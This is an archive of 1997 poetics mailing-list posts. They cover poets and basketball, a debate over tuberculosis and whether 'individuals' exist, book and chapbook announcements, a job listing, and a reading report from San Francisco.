Still, Hurston was unable to support herself through her writing, which at times provoked attacks from black intellectuals. "She was criticized for perpetuating stereotypes in her work," said Kristy Anderson, an independent filmmaker who is making a biography of Hurston, who died in poverty and relative obscurity in 1960 at the age of 69.

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901. George Bowering
Re: ReHoops
Sun 27 Apr 1997

Remember the good old ABA? Great team names such as The Spirit of St. Louis?

Well, back then, George Stanley and I invented the World League of Basketball, and had teams such as

The Great Wall of China
The Berlin Airlift
The Alexandria Quintet
The Treaty of Utrecht
The Spanish Armada
The Mexico City Blues
The Peking Ducks
The Johannesburg Riesling
The Warsaw Pact
The Black Hole of Calcutta

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

902. **George Bowering**
Re: p i n g p o n g
Sun 27 Apr 1997

Ping Pong, or as it is called among us really good players, table tennis, is very important to the earlier Sidel novels (Such as _Blue Eyes_) of Jerome Charyn, my main man.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

903. **henry gould**
Re: TUBERCULOSIS (and individuals)
Sun 27 Apr 1997

Mark of DC & Jeff of Mpls ('there are no individuals" or - perhaps significant difference - "in writing there are no individuals") and Henry of Providence ("individuality is the divine analogy sacred must not be tampered with you benighted totalitarians") are paradoxically only half-right & thus wrong; this is the essence of idealization/abstraction/mis/communication. Jeffrey Timmons asked is there a common ground; perhaps it might be found among other places in Aristotle's Poetics, the ur-text of "poetics": where tragedy is described as the ultimate form of poetry because it joins action and reflect ion, indissolubly, in an image of suffering which evokes identification (pity & fear) as well as evaluation (reflection). The meaning of humanity is action/reflection; there is no individual in the abstract; the idea of individuality is a social construct; we know of great historical "individuals" simply because of their mastery of the social, the

communal; and yet what is action without character, what is the social without the bond of individuals (love, kinship); individual-social mirror one another in life and in writing; life is double, action is double, writing is double, analysis is double, halves are part of one, halves are individual parts of one whole; etc. And we are each 2-sided creatures (left,right) (front,back), & one & unrepeatable. (or if repeatable, the repetition of a singularity).

We are rational animals, fumbling & then understanding; fumbling in our understanding & correcting incorrectly in our actions. TB will be dealt with by people who are secure enough in their individuality to help out in the community. (Though how did they get so secure? Was it love or was it Daddyo paying for college? Both, double, double, O world, let go the superflux)

- Eric Blarnes, Earl of Oxford, author of Shakespeare

↑ Index

904. Dan Raphael Dlugonski
Re: B Ball
Sun 27 Apr 1997

-In grad school at bowling green we had a couple visiou bball games tween
the poets and prose writers. why are prose writers almost always bigger
&bulkier than poets (charles olson aside).
and william matthews used to have a very sweet jump shot.
i've written a couple bball poems myself, particualry one called "big guys
dance" that happened when my son was taking an archery class in a city parks
roller skating rink that was under the gym, which opened about midway thru
the archery class-- the thunder and echoes pf the ball bodies and feet in
the cavernous underrground wpa skating rink was transportive.
>
>On the other hand -- there were far more students on hand than usual,
>

↑ Index

905. David R. Israel
Re: New York City Poetry Calendar
Sun 27 Apr 1997

> *Date: Fri, 11 Apr 1997 10:24:02 -0400*
> *From: Charles Bernstein <[redacted]>*
> *Subject: New York City Poetry Calendar*
>
> *The New York City Poetry Calendar is now on-line:*

> *http://www.nynow.com/poetry/*

good news, this! Used to be, one (yrs truly) from the provinces would surface in NYC and head for St. Marks Books, in hopes of getting a copy of the legendary Po Calendar. Now - from the comfort of my southern hovel! fantastico

Had been thinking of a jaunt to le grande apple mid-May, and was just wondering how to find out abt. poetical doings. Now I know.

thanks --
> PUBLISHER
> Martin J. Paddio
> EDITOR
> Molly McQuade

the searrch feature (including, by venue or by poet) looks good.

```
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 .....
 ............
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >    david   raphael   israel    <
  >>      washington  d.c.      <<
| ▇▇▇▇▇▇▇▇      (home)
| ▇▇▇▇▇▇▇▇      (office)
 ==========================
|   thy centuries follow each other
|   perfecting a small wild flower
|                                  (Tagore)
 ////////////////////////////////////////\\\\\/////
```

↑ Index

906. **David R. Israel**
Re: B Ball
Sun 27 Apr 1997

Dan Raphael Dlugonski asks:

> *-In grad school at bowling green we had a couple visiou[s] bball games tween the poets and prose writers. why are prose writers almost always bigger &bulkier than poets (charles olson aside).*

David Raphael Israel replies:

think pros vs. amateurs. The wasted-away lover (amateur - from L. amat; - a venture for sake of love). Not to mention the pros & the cons. Con-artists are not nec. skinny; prose-artists not always fat.

twixt the twain they lixed the platter clean
tween the pos & pros they played it mean
I cannot quite unravel such a riddle --
nor was I there in kelly bowling green

d.i.

↑ Index

907. Alan Jennifer Sondheim
from Oswald O.
Sun 27 Apr 1997

(From Oswald O.)

I'm sitting here in tshirt and pants, worrying about a future in death And hackers screwing up my system and my arms and legs leprosy and lies So there's nowhere to go but into machines and I've lost the will to live Which is why I say in the middle of the night thank god for the rain

And the flowers are dying in roadside Amerika and no one's around to collect
And rainbows are yearning while cities are burning and children are dead from neglect
The war's hardly over, girls lie down in clover, scream and they never get up
It's time for the magic, the reaper wrecks havoc, it's time for the gallows and cup

I'm sitting here in combat and drinking long gone brew of blood and wine And you might think it's fine and that we're walking the party line But the sides are smashed with needles and vials and vile's the weather today So thank God for the pounding on windows and roof thank God for the nighttime rain

And she offers me water, she offers me wine, she offers her body as well Cause she knows I've returned, whole villages burned, I've been through the weather of hell The war's just begin, there's blood on the sun, there's blood on the harvest moon And I'm throwing the cards, hanged men and hanged girls, they're sowing another rune

And you might think I'm dressed in armor, leaning down from the pulpit for cards
But I've wounded myself, I've lost my way, in the woods where the runes send off sparks
And flames reach for the skies, they cover her thighs, the runes scream, they're burning bright

She buries herself in my burning flesh, thank God for the storm and the rain

Pattie Hearst walks again with the strong Weathermen, Black Panthers are loading their guns
Em-Sixteens are ready, our bodies are steady, we're off to the hills at a run
Lord Jesus will keep us, Death will not reap us, revenge is the truth of the day
And nighttime will hide us, the ghetto abide us, we're waiting to kill and to pray

And you'll find me here in bluejeans and tshirt, roaring down the wires at you,
You'll see me in the flaming sky, holy embrace with Janis and Jimmie and The Owl
Pure windows opened up flaming skulls where we'll take the boat to Nam's pure booty hell
And celebrate our love beyond your cracked dull thought, and thank God for the thunder and rain

And the flowers are dying in roadside Amerika and no one's around to collect
And rainbows are yearning while cities are burning and children are dead from neglect
The war's hardly over, girls lie down in clover, scream and they never get up
It's time for the magic, the reaper wrecks havoc, it's time for the gallows and cup

↑ Index

908. Maria Damon

Re: chastened by CB'sreposting of the welcom message

Sun 27 Apr 1997

---

hey congrats wendy!!

At 10:52 PM -0400 4/24/97, Wendy Battin wrote:
>New Release
>
>
>1997 Winner of the Snyder Memorial Prize from Ashland
>
>Little Apocalypse
>

>poems by Wendy Battin
>
>ISBN #0-912592-40-0
>$10.00 pbk.
>
>Amid the incoherence of things, between the coarse lines of dissolution;
>after our last photogenic war, the "fever-vivid" language of Wendy
>Battin's Little Apocalypse threads between lucidity and lyricism, surface
>and depth to the very fovea of the song. An exquisite collection.
>--CD Wright
>
>
>Available from The Ashland Poetry Press
>Ashland University, Ashland, Ohio 44805 phone [redacted]
>fax [redacted]

↑ Index

909. Alan Jennifer Sondheim
Re: TUBERCULOSIS (and individuals)
Sun 27 Apr 1997

I also thought I heard that distress signal, and wrote him off-line. A very close friend of mine, ex-wife, was in his situation here in New York. TB is spreading in the city, as far as I know.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ TEL [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, 11217

↑ Index

910. Field of Roses
Re: TUBERCULOSIS (and individuals)
Mon 28 Apr 1997

> *Linda:*
> *Thank you for the useful information, but it doesn't really seem to address the issue Chris Stroffolino (also usefully) raises [though it flashes a gleam of hope that in some yet hard-to-envision future one might not feel the need to raise such issues]. "The law is no respecter of persons," and no more (or much less) of individuals: i.e., as you*

> *note, the free treatment afforded to TB patients derives not from concern for the individual sufferer, but in reaction to the threat to the collective "society" (which includes, of course, the "individuals" who offer such therapeutic largesse)--a fact which seems to emphasize rather than obviate the urgency of Chris' point.*
> *Dan Zimmerman*

Dan

Perhaps I misread Chris' 'urgency' as I thought I heard a distress signal above the question of individuality. Call it priorities. (Mine.) Information is what I brought to the discussion. Simply that. Without the common good, most of us wouldn't be here to intellectualize about the individual and contagious disease.

Linda Charyk Rosenfeld

↑ Index

911. Daniel Zimmerman
Re: TUBERCULOSIS (and individuals)
Mon 28 Apr 1997

Field of Roses wrote:
>
> >But lets say one may find that he has many of the symptoms
>
> >of TUBERCULOSIS, and let's say that one has no HEALTH CARE and can not afford
> >healthcare....
> >Well, if there are no INDIVIDUALS, this shouldn't be a problem, right?
>
> 'But let's say one'...
>
> The treatment for TB is usually a triple drug therapy for 1-2 years,
> (usually provided free by a local public health clinic, as it is in their
> interest to stop the spread of this contagious disease within a
> population.) If one suspects they may have TB, it is paramount that they be
> immediately diagnosed and treated. Hospitalization is usually for one week
> and is ONLY for those whose diagnosis is still unclear and who may be
> contagious.
>
> Linda Charyk Rosenfeld

Linda: Thank you for the useful information, but it doesn't really seem to address the issue Chris Stroffolino (also usefully) raises [though it flashes a gleam of hope that in some yet hard-to-envision future one might not feel the

need to raise such issues]. "The law is no respecter of persons," and no more (or much less) of individuals: i.e., as you note, the free treatment afforded to TB patients derives not from concern for the individual sufferer, but in reaction to the threat to the collective "society" (which includes, of course, the "individuals" who offer such therapeutic largesse)--a fact which seems to emphasize rather than obviate the urgency of Chris' point. Dan Zimmerman

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912. Maria Damon (Maria Damon)
job announcement
Mon 28 Apr 1997

Approved-By: Center for Advanced Feminist Studies <[redacted]>
Date: Mon, 28 Apr 1997 15:44:13 -0500
From: Center for Advanced Feminist Studies <[redacted]>
Subject: job announcement
To: Multiple recipients of list CAFS-F2 <[redacted]>

****Interdisciplinary Studies: California State University, Los Angeles****
seeks a tenure-track assistant/associate professor for the Liberal Studies Program. Candidates must have a Ph.D. in hand in Interdisciplinary Studies, or in a field that clearly emphasizes interdisciplinary research, and a demonstrated ability for successful teaching of interdisciplinary undergraduate university courses. Research/creative work and teaching should also emphasize interdisciplinary scholarship and pedagogy and demonstrate potential for contributions toward program development. Standard teaching load is three courses per 10-week quarter, three quarters per year. In addition, the applicant will be expected to serve on committees, work with students in the Women s Studies minor, serve as advisor for LBS majors, and be available for flexible scheduling. Release-time is negotiable depending on amount of advisement and program coordinator duties. Submit letter, evidence of scholarly work, curriculum vitae, transcript from institution awarding the Ph.D., and three recent letters of reference to: Search Committee Chair, Liberal Studies Program, California State University, Los Angeles, 5151 State University Drive, Los Angeles, CA 90032-8110. Position open until filled. Review of applications to begin on May 1, 1997. An equal opportunity/affirmative action/disabled/title ix employer, CSULA is committed to creating a community in which a diverse population can live and work in an atmosphere of tolerance, civility and respect for the rights and sensibilities of each individual, without regard to economic status, ethnic background, political views, sexual orientation, or other personal characteristics or beliefs.

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913. Steve Carll

April is the Readingest Month II

Mon 28 Apr 1997

The sequel to the brain-busting crunch month of poetry in San Francisco. Our story resumes on Saturday, April 19th at New College as Small Press Traffic presents Elizabeth Willis and Steve McCaffery. Dodie Bellamy introduces Elizabeth, who reads poems such as "A/O", "Human Abstract" (Willis', not Blake's), "Piet a Terre", "Catalog Resin A" (for Richard Dodd), and "Without Pity" to a crowd which included Lyn Hejinian, Avery E.D. Burns, Leslie Scalapino, Douglas Powell, Sam, Rodrigo Toscano, Ron Silliman, Peter Gizzi (of course), Norma Cole, Steve Dickison and Tina Rotenberg, Cydney Chadwick, Mary Margaret Sloan, Paul Hoover and Maxine Chernoff, Jean Day, Mary Burger, Elizabeth Robinson, Renee Gladman and Stephanie Baker. Some great Liz lines I caught were:

flower is becoming a graph
idea three: only one violet
H: the heart of a flower
flower in the heart of the flower
the spirit fell, and you knew it because you were earthly
this is my reference to the amity of sand
whoever called light discreet?
if I err, I am, and my error moves me
desire is a form of fastening
the love of fertile ground can be a kind of phobia
everything appears to shine, given enough darkness
trees have the only real land legs
to fashion oneself wholly on dogs

Steve McCaffery then held the floor spellbound for awhile, reading from "Serbia Mon Amour", "Critique of Cynical Poesis", "Broad Topics", "What As Poetic", and _Teachable Texts_. Here are some lines of his:

there are stars above a piece of soap someone just happens to have dropped into a movie
the sutra through its murmur is bound to offend
a duel is not a social contract
the route of writing not the round of language
I is another; we are not alone
property droppity plops
my mouth is earth's scholar
the disambiguated geese
just opening mnemonics to a type of shore

fiat latex
the ontology of the neuter shows promise
so it seemed better to shoot poems than to write democracies
jouissance _is_ my inner-city asthma
wondering why clouds seem so up-to-date
in case of an exit, please use the nearest emergency

There was a party not far away given by the incoming editors of _Five Fingers Review_ to say goodbye to the outgoing editors, so we cabbed over and stood out back in the mist, and I heard lots of stories about eating out in Iowa which I believe I'll spare you all.

The following Tuesday at Intersection was the reading for _Five Fingers Review_ #16. There was a great spread on tables in the back (I started eating peanuts and just never stopped...) and Thoreau Lovell (one of the aforementioned outgoing editors) started us off by reading from cue cards, "Russian style". He was followed by a first set: Mary Margaret Sloan, Peter Weltner, Norma Cole (playing herself and Cole Swenson), Adam Cornford, Chris Daniels, Gabrielle Glancy, John High, Fanny Howe, and Kim Jensen. Some of the lines from the first set were (various authors):

that we will break the alphabet in two
drowning tangent immediate archaic
take sides into pieces
I knew I was being inconsistent, but I was beside myself
into his gaze intelligence slipped
old lizard blood combusts
the buffalo with golden horns settles on the nenuphar
a pylon of the bridge of tedium stretching from me to the Other
field upon field of uncharted disaster
I was like a cataract against the darkness of the sky
blessed is the transparent sky
today stood as cold as a mirror
it's bad poetry night at the arbitrarium

After a break to let the readers and audience (John Noto, Joseph Aukee, Giovanni Singleton, Pat Reed, Don Hilla, Katya Olmstead and Sasha (John High's loved ones), Jean and Ann, John High introduced the second set of the night (using first names as opposed to Thoreau's introduction of the first half using last names in what John dubbed "the combination of contradictions"): Thoreau Lovell, Scott McCleod, Michelle Murphy, Andrew Joron, Jandy Nelson, incoming 5FR editor Jaime Robles, and Barbara Roether. Lines from the second half included gems like:

he thinks hard because reality is haunted, deep out into the snow
there are actual spies in this world into the dream and out again
whose arms are wide enough to keep the horizon from falling?
my tongue becomes a fuse
thought begins with the interruption of a rhythm
all the flowers in the city switched colors
years of rain fell back up into the sky
a petrified joint reminiscent of stem and branch
maybe we can find a nice animal who can help us
do you remember where I came from and have you returned to tell me?

Friday Kristin Prevallet gave a lecture and slide show on Scottish/New York/San Francisco Renaissance poet Helen Adam, followed by a screening of a recently restored print of Adam's long-lost film _Daydream of Darkness_ (more on Kristin later).

Saturday the 26th at New Langton Arts, Jean Day and Barrett Watten gave a spectacular reading. Jean read first, reading from _The Literal World_ , "Vernaculars of the Present: Seven Secular Sermons", and "Narratives From the Crib", a series written from the perspective of her 2-and-a-half-year-old:

where the world resists--pathos
westering from ruin to ruin
when the composer sees in everything the condition of flowers, the two can seem the same
we live in an optative virtuosity
the ships, how well they sail--_in the ocean_
if you saw words in the clouds instead of numbers, you would become unesoteric
how many nights with an axe "interpolating" the forest trees?
among the sublime and lonely jets, I legislate
the milk of heaven is said to make the sun rise.

MC Kit Robinson went without pause into his intro to Barrett Watten, who proceeded to turn his recently published _Frame_ into _Zone_, written since his move to Michigan to teach at Wayne State. His reading was relentlessly thought-provoking, and I couldn't write down a lot of lines because so many were followed by equally mind-bending lines (but here's some I did get):

dreams are our life, which we'll never be able to penetrate
everyone looks, while no one can be found
even clouds of the same sky are the same
time is a sensible by-product of motion between two poles
then we made a language out of action, but static interfered with our speech
the sky excludes landscape altogether

just as the dream fails to impose self-correction, we can only approve of ourselves
to abandon painting, look directly at the sun

In the New Langton bleachers sat Norma Cole, Laura Moriarty, Norman Fischer, Lyn Hejinian, Mary Burger, Pamela Lu, Rodrigo Toscano, Rob Hale, Leslie Scalapino, Hung Tu, Kevin Killian, Steve Vincent, Larry Ochs, Etel Adnan, Nick Robinson, George Lakoff, and Melissa.

The very next day, Sunday the 27th at Canessa Park, Michael Boughn (of Toronto), Brian Lucas (of San Francisco) and Kristin Prevallet (of Buffalo; told ya we'd get back to her) gave varied and captivating performances in front of a pretty full house that included a lot of people I don't know, but some I do, like Kevin Killian, Elizabeth Willis and Peter Gizzi, Norma Cole, Spencer Selby, Steve Dickison and Tina Rotenberg, Charlie Palau, Duncan McNaughton and Rob Hale. Michael Boughn started, reading from _Dislocations in Crystal_ and a ms. currently entitled _Enormous Bodies of Water_. Here's a few tidbits:

add a fourth receptor and it seems all heaven breaks loose
so maybe Einstein's got his answer now--it just keeps heading out
as if flesh were metaphor's last stand
liberates white fins to the sun
angels of evaporation
is it democracy--that weird exhalation of Detroit?
next time around, it's wind over metonymics
day's relentless stretch toward Zaire and Christmas

Brian Lucas, editor of _Angle_, read from a manuscript called _Divine Ward_:

trace a seal onto vespering glade
ever is thought of as approaching
always a valley present; a thought is a grove here
traces that, delayed, mean us
how's breathing? did it tell you as much as you'd hoped?

and Kristin finished up with a reading which drew from _Perturbation, My Sister_ and _Lead, Glass, and Poppy_:

shadows were collecting the evidence
they became like the window that abandons the house and joins the view
newcomers are sprayed with a lavender seal

Afterwards there was a party at Jean Day's house featuring this awesome chili Jean made out of the Green's Cookbook and some lively conversation about Pearlman's book on langpo, that other LP, the so-called "New York lifestyle poets" (you know who you are), the Neo-formalists, following your bliss--narcissistic or not?, and the metaphorical underpinnings of mathematics.

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

914. Rachel Loden
home of the brave
Mon 28 Apr 1997

George Bowering wrote:

> *All I used to do before*
> *Rachel saved me , was drink beer, go to the track, pee my pants, and get*
> *into fistfights and lose them.*

Saving George...it's not for the faint at heart, you know. It's not for sissies. But as Lincoln said at Gettysburg, we are here dedicated to the great task remaining before us. The last full measure of devotion, etc.

Rachel L.

↑ Index

915. Fredrik Hertzberg
Peter Winch 1926-1997
Mon 28 Apr 1997

Just heard that Peter Winch, wittgensteinian philosopher at Urbana-Champaign, author of The Idea of Social Science (& etc) died this morning.

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916. Louis Cabri
Cabinet Gallery London
Mon 28 Apr 1997

I'm wondering if anyone has the address for the Cabinet Gallery in London, England. Would much appreciate it backchanneled (email too if it's available). Thanks! - Louis

↑ Index

917. **Peter Jaeger**
fi press (fwd)
Mon 28 Apr 1997

Some of you will find this press very exciting, not only for editor damian lopez's attention to the book as unique object, but also for the wide range of writers and forms that he publishes.

Peter

---------- Forwarded message ----------
Date: Tue, 01 Apr 1997 15:14:05 -0500
From: Prose & Contexts <[redacted]>
Subject: march publications, website update

fingerprinting inkoperated announces:

* march publications & expanded website *

march publications

fi is happy to announce the long awaited release of Christian Bök's _Crystallography: A Report on Lucid Writing_. this creative essay on poetics as crystals is related to Bök's acclaimed 1994 book of poetry, _Crystallography_. this 36 page chapbook is a lucid essay exploring poetics through the metaphor of crystallization. the term essay though is misleading--this is a creative work, not an academic exercise. printed on frosted mylar with a full colour cover & a 2X magnifying lens laid in a pocket inside the back cover in an edition of 70 numbered & signed copies, this hand sewn chapbook is available for only C$5.00*

fi is also pleased to re-release Alana Wilcox's first chapbook, _Analogue_. the first edition, published only a month ago, managed to stay in print for a mere matter of days, prompting this reprint (an unusual occurrence at fi). this second edition of 50 sewn copies will not be in print long, & is available for only C$2.50*

*subscribers receive 20% off this price--see the website for details

website facelift

over the last few weeks the fi website has undergone another make-over. the new site not only includes a new interface but also expanded content. the "in print" section now includes samples from many of the publications. also, there are now clearer & more extensive submission guidelines.

speaking of which, since fi is back in high gear, submissions are being actively sought. so check out the "submit" page & send in some work.

coming soon

there are a number of projects on the go, including work by Stephen Cain, jwcurry, MAC Farrant, and a long awaited kid's book by David UU. with some luck, these new publications will be ready by the Toronto Small Press Fair, to be held Saturday 3 May, 11am-6pm, at Club 360, 326 Queen Street West, Toronto. fi will be there along with many of Toronto's most interesting mags & presses.

damian lopes

---

fingerprinting inkoperated damian lopes
Box 657 Station P Toronto Canada M5S 2Y4
http://www.interlog.com/~dal
for pgp key, email: pgp-key <[redacted]>

a micro-publisher of innovative writing exploring form/at

↑ Index

918. Matthias Regan
Tribal Suicide
Mon 28 Apr 1997

Someone posted this on the "Bad Subjects" list over the weekend. I send it on not only to telegraph a message but because on my screen (set at courier 12 point) the line breaks are interesting:

> *From today's Daily Telegraph:*

International News Electronic Telegraph
Saturday 26 April 1997

Tribe threatens mass suicide
By John Hiscock in Los Angeles

A TRIBE of 5,000 is threatening to commit mass suicide by leaping from a cliff unless Occidental Petroleum abandons plans to drill for oil in what the tribesmen claim is their territory.

The semi-nomadic U'wa tribe of Colombia is sending its chief, Roberto Cobaria, to the United States next week to publicise the threat and meet environmental and rights groups. Legend has it that a group of U'wa tribe members committed mass suicide in the 17th century in protest against Spanish colonialism.

The tribe's threat has become a public relations nightmare for Occidental, which says it has been deluged with letters, faxes and e-mail from around the world urging it to abandon its drilling plans for the 400,000-acre site. Dozens of demonstrators protested at Occidental's annual meeting yesterday at its offices in Santa Monica, California, where the issue was on the agenda.

"We are supporting the U'wa in their demands that Occidental promise to respect their cultural integrity and not to drill for oil on their ancestral land," said one of the demonstrators, Lucy Braham, of Action Resource Centre of Los Angeles which, along with Amazon Watch, is hosting Chief Cobaria's visit. "We need to hold US corporations accountable for their actions."

Occidental Petroleum, which has so far invested £8 million in the site, has the support of the Colombian government and is looking to government leaders to settle the issue.

Three Colombian cabinet ministers are to travel to the U'wa reservation east of the Andes Mountains next month in the hope of reaching an agreeement and Occidental has said it is awaiting some signs of an accord before proceeding.

_____ Brian J. Gross **

[redacted] ** Washington, D.C.

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919. Pritchett,Pat
Re: p i n g p o n g
Mon 28 Apr 1997

Ah Jerome Charyn, who wrote the marvelous _The Seventh Babe_ a very good baseball book even for someone who's not crazed about the game.

Patrick Pritchett

From: George Bowering
To: POETICS
Subject: Re: p i n g p o n g
Date: Monday, April 28, 1997 2:44AM

Ping Pong, or as it is called among us really good players, table tennis, is very important to the earlier Sidel novels (Such as _Blue Eyes_) of Jerome Charyn, my main man.

George Bowering.

,

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920. Peter Jaeger
new fi release - april 97 (fwd)
Mon 28 Apr 1997

more from fingerprinting inkoperated

---------- Forwarded message ----------
Date: Sat, 19 Apr 1997 13:59:17 -0400
From: Prose & Contexts <[redacted]>
Subject: new fi release - april 97

fingerprinting inkoperated announces:

Diana Ross in Wax

by

MAC Farrant

Diana Ross in Wax is a classic example of Farrant's "suburban surrealism." in this story she tackles a cultural icon, Diana Ross, who in Farrant's world is a 35 inch midget... need i say more? well if so, check out the opening of the story on the website in the "in print" section.

Diana Ross in Wax is a 16 page handsewn chapbook with a silver thread band sealed with gold wax, published in an edition of 65 copies, available for only

C$3.75. as always, subscribers to fi receive a 20% discount on regular prices--see the website for more information on how to subscribe.

for those in the Toronto area, don't forget the Small Press Fair is being held Saturday 3 May at Club 360 (located at 326 Queen West).

---

fingerprinting inkoperated damian lopes
Box 657 Station P Toronto Canada M5S 2Y4
http://www.interlog.com/~dal
for pgp key, email: pgp-key <[redacted]>

a micropress specializing in innovative writing exploring form/at

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921. Charles Bernstein
Rational Meaning is now out
Mon 28 Apr 1997

I've just gotten a copy of Rational Meaning. I realize it is quite expensive, but perhaps something to get from the library, or to get your library to order. This is University of Virginia Press's catalog copy:

Rational Meaning
A New Foundation for the Definition of Words
and Supplementary Essays

Laura (Riding) Jackson and Schuyler B. Jackson

Edited by William Harmon
Introduction by Charles Bernstein

"The publication of Rational Meaning: A New Foundation for the Definition of Words brings to completion one of the most aesthetically and philosophically singular projects of twentieth-century American poetry. No North American or European poet of this century has created a body of work that reflects more deeply on the inherent conflicts between truth telling and the inevitable artifice of poetry than Laura (Riding) Jackson." --Charles Bernstein, from the introduction

Existing only in manuscript since the 1940s but enjoying an underground reputation among friends and advocates, this primary document by one of the most original and influential of American poets and thinkers is now being published as Rational Meaning, Laura (Riding) Jackson's testament of the necessity of living for truth. Begun as a dictionary and thesaurus in the1930s, the work developed into a fundamental reevaluation of language itself. Riding, in close collaboration with her husband, Schuyler B. Jackson, continued this monumental

project over the succeeding decades, completing it after his death in 1968.The work, which she regarded as a "Magna Carta of the human mind," has heretofore been seen by only a handful of people. Yet the recent resurgence of interest in Laura Riding (1901-1991) is nourishing the growth of scholarship and study, in whichthis culmination of a life's work will play its part as her true significance becomes more widely understood.

At the age of forty, having already produced a substantial and challenging body of poetry, stories, and criticism, Laura (Riding) Jackson renounced poetry and began to concentrate on the discovery of the principles that embed truth and meaning in words. She believed that, if words and meaning could be irrevocably fused, people would become "morally articulate" and thus could never lie. This inquiry, which reaches out to include literature, philosophy, linguistics, and lexicography, would become central to the latter half of her long life and would finally result in Rational Meaning. Included in this edition are essays that Riding wanted published as supplements to Rational Meaning.

At the core of this work, which aims to restore the truth of language by arguing that meaning inheres in words, stands the idea that a total renovation of the knowledge of language is needed, not to develop mere verbal sophistication and respectability but fundamentally to reinvigorate the intellectual processes of consciousness. The book reveals the disastrous extent to which language has been "unlearned" and shows how it may be learned again. Rational Meaning will be essential reading, not only for students of literature but for radical-minded linguists and lexicographers unhappy with the orthodoxies current in their disciplines.

Among Laura (Riding) Jackson's other publications are First Awakenings: The Early Poems of Laura (Riding) Jackson and The Word "Woman" and Other Related Writings. Schuyler B. Jackson's writings have been published in several magazines, including The New Republic and Time.

William Harmon, James Gordon Hanes Professor of English at the University of North Carolina at Chapel Hill, has published five volumes of poetry and edited several anthologies, including The Oxford Book of American Light Verse and The Top 500 Poems

University of Virginia Press
640 pages 6 1/8 x 9 1/4 cloth
ISBN 0-8139-1682-8 $50.00 S

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922. **Joe Safdie**
Re: TUBERCULOSIS (and individuals)
Mon 28 Apr 1997

Now, this was only message 1,617 of 1,667 messages on my screen -- a good 150 of which arrived over the weekend when I couldn't get to this computer in my office -- so I can't promise that in the interval this thread will have disappeared or metamorphized. But suffering from the West Coast disadvantage that David Bromige mentioned last week, I do want to jump in mention a few things about its long half-life.

David Israel (and perhaps Anne Waldman if she ever gets on) might know more about this, but: doesn't the concept of the "Superior Man" in the _I Ching_ come AFTER the more abstruse, knotty, entangled hexagrams that hold no truck with individuals at all; isn't it, in fact, an invention of Confucius' commentary? That would seem to argue, at least historically, for the individual -- or concept of same -- rising out of the community, in much the same way (it seems to me) that Renaissance artists only started signing their works after the long medieval period in which there was, effectively, no "individual" art but humans were seen as part of, not separate from -- (a huge generalization, I know).

American law offers yet a third example, a pernicious one -- in reconstructionist America, corporations were handed the same rights under the 14th amendment as "persons," thus greasing the wheels for the concentration of capital we've seen since -- one of the prime snots of American history, Roscoe Conkling, was largely responsible for that.

These are the things that come to my mind when I think about this question: that is, sometimes it's beneficial and a matter of the health of a particular community not to insist, aggressively, on an individual identity, and yet sometimes that's the only check to corporate and/or communal mischief.

But I'd still like to know what the PURPOSE -- the FUNCTION -- of Mark Wallace's dictum is. That is, what does it DO for you, Mark, to believe that "there are no individuals"? Besides being the latest trendy doctrine of cultural studies, I mean, or besides saying "It's not me, it's the language that did it" -- (again, a simplification).

Perhaps the real answer is Aldon's (and others) humor and wit, identifying people as "congeries of social forces" and then moving on to the next thread . . . but still, the discourse continues, eh?

Joe

On Sun, 27 Apr 1997, Field of Roses wrote:

> *Linda:*
> *Thank you for the useful information, but it doesn't really seem to address the issue Chris Stroffolino (also usefully) raises [though it flashes a gleam of hope that in some yet hard-to-envision future one might not feel the need to raise such issues]. "The law is no respecter of persons," and no more (or much less) of individuals: i.e., as you note, the free treatment afforded to TB patients derives not from concern for the individual sufferer, but in reaction to the threat to the collective "society" (which includes, of course, the "individuals" who offer such therapeutic largesse)--a fact which seems to emphasize rather than obviate the urgency of Chris' point.*
> *Dan Zimmerman*
>
> *Dan*
>
> *Perhaps I misread Chris' 'urgency' as I thought I heard a distress signal above the question of individuality. Call it priorities. (Mine.) Information is what I brought to the discussion. Simply that. Without the common good, most of us wouldn't be here to intellectualize about the individual and contagious disease.*
>
> *Linda Charyk Rosenfeld*

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923. **henry**
Re: TUBERCULOSIS (and individuals)
Mon 28 Apr 1997

On Mon, 28 Apr 1997 11:44:56 -0700 Joe Safdie said:
>
>These are the things that come to my mind when I think about this
>question: that is, sometimes it's beneficial and a matter of the
>health of a particular community not to insist, aggressively, on an
>individual identity, and yet sometimes that's the only check to corporate
>and/or communal mischief.

sort of like when Odysseus told the Cyclops his name was "No Man"?

- HG [a Jambalaya of Social Disfunctions]

p.s. that was in 2386 B.C., in the Mediterranean, about 4 p.m., right? on April 28th? Over near those rocks? Odysseus was the captain who did not go down with his ship.

"Oh, diss us, you sissies"
- Jack Spandrift

Jack's new CD, "Sailin' through the Red River Valley", is available from Honk Your Titanic Prods., Bingo, Wyo. Don't even try to order it.

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924. **Jordan Davis**
UiPsSnToAwIoRuSt
Mon 28 Apr 1997

UPSTAIRS
31 poems by Jordan Davis
Cover by Anna Malmude
Barque Press, Cambridge
Keston Sutherland, prop.

Including: "The Muppets Regroup in Prague"
"Chippewa Mishegas"
"Cosmic Smacker"
"Flub Grid"

and many, many more!

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925. **Wystan Curnow**
Re: TUBERCULOSIS (and individuals)
Mon 28 Apr 1997

In R.Sillman's 'For L=A=N=G=U=A=G=E' (The New Sentence, p57) there is this sentence: '--Individuals do not exist--'.

Wystan Curnow

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926. **Aldon L. Nielsen**
Re: individuables
Mon 28 Apr 1997

---

have kept out of this for the most part -- but most of the heat generated around this subject has been a matter of shifting terms -- it's pretty clear to me that Mark and some of the people responding to him simply do not mean the same thing by the word "individual" -- I don't think there's any doubt that discernable entities roughly bounded by their own skin exist and move about -- but it's not just a "trendy" thing to worry that "cogito ergo sum" has at least one or two remaining presuppostions to be looked at --

